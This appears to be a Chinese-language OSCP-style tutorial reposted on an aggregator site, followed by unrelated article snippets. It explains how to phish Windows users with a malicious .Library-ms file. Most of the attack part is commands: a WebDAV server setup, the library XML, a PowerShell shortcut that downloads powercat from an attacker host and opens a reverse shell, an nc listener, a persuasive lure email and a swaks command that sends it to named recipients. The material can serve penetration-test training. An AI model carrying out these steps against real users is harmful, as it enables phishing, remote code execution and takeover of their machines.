OSCP:发送钓鱼电子邮件执行客户端攻击

概述

在渗透测试领域,钓鱼攻击是一种有效的客户端攻击手段,尤其在目标用户缺乏安全意识或系统存在未修复漏洞时,成功率较高。针对Windows平台,滥用Windows库文件(.Library-ms)是一种技术性较强但易于实施的攻击方式。这种方法利用了Windows库文件的特性,通过结合WebDAV服务和恶意脚本,可在目标系统上执行任意代码,从而进一步控制目标设备。

本文旨在详细解析如何使用Windows库文件发起钓鱼攻击,并通过实际操作流程展示如何成功获取目标的反弹Shell。同时,文中还包含对攻击工具、文件配置、钓鱼邮件内容设计及服务部署的全面讲解。


攻击流程

为了确保钓鱼攻击的成功,攻击者需经过充分准备,包括搭建服务环境、制作诱导目标执行的文件及设计合适的社会工程策略。以下是具体的攻击流程:

1. 准备工作

在攻击的准备阶段,攻击者需要搭建一个WebDAV服务器,用于托管攻击所需的恶意文件。WebDAV服务器是实现文件托管与目标连接的重要组件。

1.1 安装WebDAV

在Kali Linux上,可通过wsgidav快速搭建WebDAV服务器。以下是安装命令:

pip3 install wsgidav

此命令会下载并安装WebDAV所需的组件,为后续服务器部署做好准备。

1.2 创建WebDAV目录

为了存放恶意文件,需创建一个目录并进行初步测试:

mkdir /home/kali/webdav
touch /home/kali/webdav/test.txt

通过创建测试文件,可以确认目录权限及服务是否正常运行。

1.3 启动WebDAV服务器

完成目录准备后,启动WebDAV服务器,并配置为匿名访问以便目标用户无需认证即可连接:

/home/kali/.local/bin/wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root /home/kali/webdav/

此时,WebDAV服务已启动并在80端口监听,后续恶意文件将托管于此服务器。


2. 创建恶意库文件

在攻击实施阶段,核心是构建一个可以诱导目标系统执行的恶意库文件及快捷方式文件。它们的设计决定了攻击的有效性。

2.1 构建config.Library-ms文件

config.Library-ms文件是用于连接目标与攻击者WebDAV服务器的关键。以下是其XML代码:

<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library"><name>@windows.storage.dll,-34582</name><version>6</version><isLibraryPinned>true</isLibraryPinned><iconReference>imageres.dll,-1003</iconReference><templateInfo><folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType></templateInfo><searchConnectorDescriptionList><searchConnectorDescription><isDefaultSaveLocation>true</isDefaultSaveLocation><isSupported>false</isSupported><simpleLocation><url>http://192.168.119.2</url></simpleLocation></searchConnectorDescription></searchConnectorDescriptionList>
</libraryDescription>

此文件的关键字段为<url>,需要替换为攻击者WebDAV服务器的实际地址。目标用户一旦打开该文件,Windows会尝试连接该URL。

2.2 构建快捷方式文件

快捷方式文件负责执行恶意代码,以下为典型的PowerShell下载和反弹Shell命令:

powershell.exe -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.119.3:8000/powercat.ps1'); powercat -c 192.168.119.3 -p 4444 -e powershell"

此命令将在目标机器上下载并执行powercat.ps1脚本,连接回攻击者机器,形成反弹Shell。


3. 分发恶意文件

构建完成的恶意文件需传递给目标用户,可通过以下方式实现:

  1. 邮件附件:结合社会工程设计的钓鱼邮件,以附件形式发送。
  2. SMB共享:通过内网文件共享上传至目标访问的目录。

将文件上传至WebDAV目录:

cd /home/kali/webdav
smbclient //192.168.50.195/share -c 'put config.Library-ms'

4. 获取反弹Shell

当目标用户打开恶意文件夹或执行快捷方式文件时,攻击者便可通过监听器获取目标系统的交互式Shell。

配置监听器

在攻击者机器上启动Netcat监听器以接收反弹Shell:

nc -nvlp 4444

通过监听器,攻击者可捕获目标设备的Shell连接,执行后续命令获取进一步的权限。


钓鱼邮件设计与发送

社会工程邮件设计

钓鱼邮件的成功关键在于内容的可信性。以下是一个样例邮件:

Subject: Staging ScriptHey!I checked WEBSRV1 and discovered that the previously used staging script still exists in the Git logs. I'll remove it for security reasons.On an unrelated note, please install the new security features on your workstation. For this, download the attached file, double-click on it, and execute the configuration shortcut within.Thanks!  
John

邮件中提到的“内部信息”(如Git日志)提升了可信度,增加了目标用户打开附件的可能性。

使用swaks发送邮件

通过swaks发送钓鱼邮件(需要输入用户凭据):

sudo swaks -t daniela@beyond.com -t marcus@beyond.com --from john@beyond.com --attach @config.Library-ms --server 192.168.50.242 --body @body.txt --header "Subject: Staging Script" --suppress-data -ap

总结

滥用Windows库文件是一种隐蔽且有效的攻击手段。通过结合WebDAV服务和恶意脚本,攻击者可以轻松地在目标系统上执行任意代码。

免责声明:本文内容仅限于合法授权的渗透测试环境中使用,任何非法用途均需自行承担后果。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/69145.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

记录一下 在Mac下用pyinstallter 打包 Django项目

安装: pip install pyinstaller 在urls.py from SheepMasterOneToOne import settings from django.conf.urls.static import staticurlpatterns [path("admin/", admin.site.urls),path(generate_report/export/, ReportAdmin(models.Report, admin.site).generat…

使用Python和TensorFlow/Keras构建一个简单的CNN模型来识别手写数字

一个简单的图像识别项目代码示例,使用Python和TensorFlow/Keras库来训练一个基本的CNN模型,用于识别MNIST手写数字数据集,并将测试结果输出到HTML。 代码运行效果截图: 具体操作步骤: 1. 安装所需的库 首先,确保你已经安装了所需的Python库: pip install tensorflow…

2021.3.1的android studio版本就很好用

使用最新版的studio有个问题就是gradle版本也比较高&#xff0c;这样就容易出现之前项目不兼容问题&#xff0c;配置gradle可能会出现很多问题比较烦&#xff0c;所以干脆就用老版本的studio

控件【QT】

文章目录 控件QWidgetenabledgeometrysetGeometry qrcwindowOpacityQPixmapfonttoolTipfocusPolicystyleSheetQPushButtonRadio ButtionCheck Box显示类控件QProgressBarcalendarWidget 控件 Qt中已经提供了很多内置的控件了(按钮,文本框,单选按钮,复选按钮&#xff0c;下拉框…

【小鱼闪闪】做一个物联网控制小灯的制作流程简要介绍(图文)

1、注册物联网云平台&#xff0c;这里选用巴法云 2.、新建主题 “ledtest” 3、 使用Arduino或Mixly软件编写单片机程序&#xff08;需要引用巴法云库文件&#xff09;&#xff0c;程序中订阅“ledtest”主题&#xff0c;用于接收单片机发送来的数据。此处会将连接的温度传感器…

KNN算法:从思想到实现(附代码)

引言 K最近邻算法&#xff08;K Nearest Neighbors, KNN&#xff09;是一种简单而有效的机器学习算法&#xff0c;用于分类和回归问题。其核心思想基于“近朱者赤&#xff0c;近墨者黑”&#xff0c;即通过测量不同特征值之间的距离来进行分类或预测数值。本文将详细介绍KNN的…

专业学习|一文了解并实操自适应大邻域搜索(讲解代码)

一、自适应大邻域搜索概念介绍 自适应大邻域搜索&#xff08;Adaptive Large Neighborhood Search&#xff0c;ALNS&#xff09;是一种用于解决组合优化问题的元启发式算法。以下是关于它的详细介绍&#xff1a; -自适应大领域搜索的核心思想是&#xff1a;破坏解、修复解、动…

TensorFlow深度学习实战(6)——回归分析详解

TensorFlow深度学习实战&#xff08;6&#xff09;——回归分析详解 0. 前言1. 回归分析简介2. 线性回归2.1 简单线性回归2.2 多重线性回归2.3 多元线性回归 3. 构建基于线性回归的神经网络3.1 使用 TensorFlow 进行简单线性回归3.2 使用 TensorFlow 进行多元线性回归和多重线性…

2024年12月 Scratch 图形化(二级)真题解析 中国电子学会全国青少年软件编程等级考试

202412 Scratch 图形化&#xff08;二级&#xff09;真题解析 中国电子学会全国青少年软件编程等级考试 一、单选题(共25题&#xff0c;共50分) 第 1 题 小猫初始位置和方向如下图所示&#xff0c;下面哪个选项能让小猫吃到老鼠&#xff1f;&#xff08; &#xff09; A. B. …

Java 面试合集(2024版)

种自己的花&#xff0c;爱自己的宇宙 目录 第一章-Java基础篇 1、你是怎样理解OOP面向对象??? 难度系数&#xff1a;? 2、重载与重写区别??? 难度系数&#xff1a;? 3、接口与抽象类的区别??? 难度系数&#xff1a;? 4、深拷贝与浅拷贝的理解??? 难度系数&…

Math Reference Notes: 符号函数

1. 符号函数的定义 符号函数&#xff08;Sign Function&#xff09; sgn ( x ) \text{sgn}(x) sgn(x) 是一个将实数 ( x ) 映射为其 符号值&#xff08;即正数、负数或零&#xff09;的函数。 它的定义如下&#xff1a; sgn ( x ) { 1 如果 x > 0 0 如果 x 0 − 1 如…

一文了解边缘计算

什么是边缘计算&#xff1f; 我们可以通过一个最简单的例子来理解它&#xff0c;它就像一个司令员&#xff0c;身在离炮火最近的前线&#xff0c;汇集现场所有的实时信息&#xff0c;经过分析并做出决策&#xff0c;及时果断而不拖延。 1.什么是边缘计算&#xff1f; 边缘计算…

108,【8】 buuctf web [网鼎杯 2020 青龙组]AreUSerialz

进入靶场 <?php // 包含 flag.php 文件&#xff0c;通常这个文件可能包含敏感信息&#xff0c;如 flag include("flag.php");// 高亮显示当前文件的源代码&#xff0c;方便查看代码结构和逻辑 highlight_file(__FILE__);// 定义一个名为 FileHandler 的类&#x…

《redis哨兵机制》

【redis哨兵机制导读】上一节介绍了redis主从同步的机制&#xff0c;但大家有没有想过一种场景&#xff0c;比如&#xff1a;主库突然挂了&#xff0c;那么按照读写分离的设计思想&#xff0c;此时redis集群只有从库才能提供读服务&#xff0c;那么写服务该如何提供&#xff0c…

【赵渝强老师】Spark RDD的依赖关系和任务阶段

Spark RDD彼此之间会存在一定的依赖关系。依赖关系有两种不同的类型&#xff1a;窄依赖和宽依赖。 窄依赖&#xff1a;如果父RDD的每一个分区最多只被一个子RDD的分区使用&#xff0c;这样的依赖关系就是窄依赖&#xff1b;宽依赖&#xff1a;如果父RDD的每一个分区被多个子RD…

开源数据分析工具 RapidMiner

RapidMiner是一款功能强大且广泛应用的数据分析工具&#xff0c;其核心功能和特点使其成为数据科学家、商业分析师和预测建模人员的首选工具。以下是对RapidMiner的深度介绍&#xff1a; 1. 概述 RapidMiner是一款开源且全面的端到端数据科学平台&#xff0c;支持从数据准备、…

蓝桥杯备考:二维前缀和算法模板题(二维前缀和详解)

【模板】二维前缀和 这道题如果我们暴力求解的话&#xff0c;时间复杂度就是q次查询里套两层循环最差的时候要遍历整个矩阵也就是O&#xff08;q*n*m) 由题目就是10的11次方&#xff0c;超时 二维前缀和求和的公式&#xff08;创建需要用到&#xff09;f[i][j]就是从&#xf…

3-track_hacker/2018网鼎杯

3-track_hacker 打开附件 使用Wireshark打开。过滤器过滤http,看里面有没有flag.txt 发现有 得到&#xff1a;eJxLy0lMrw6NTzPMS4n3TVWsBQAz4wXi base64解密 import base64 import zlibc eJxLy0lMrw6NTzPMS4n3TVWsBQAz4wXi decoded base64.b64decode(c) result zlib.deco…

第二十章 存储函数

目录 一、概述 二、语法 三、示例 一、概述 前面章节中&#xff0c;我们详细讲解了MySQL中的存储过程&#xff0c;掌握了存储过程之后&#xff0c;学习存储函数则肥仓简单&#xff0c;存储函数其实是一种特殊的存储过程&#xff0c;也就是有返回值的存储过程。存储函数的参数…

Linux:文件系统(软硬链接)

目录 inode ext2文件系统 Block Group 超级块&#xff08;Super Block&#xff09; GDT&#xff08;Group Descriptor Table&#xff09; 块位图&#xff08;Block Bitmap&#xff09; inode位图&#xff08;Inode Bitmap&#xff09; i节点表&#xff08;inode Tabl…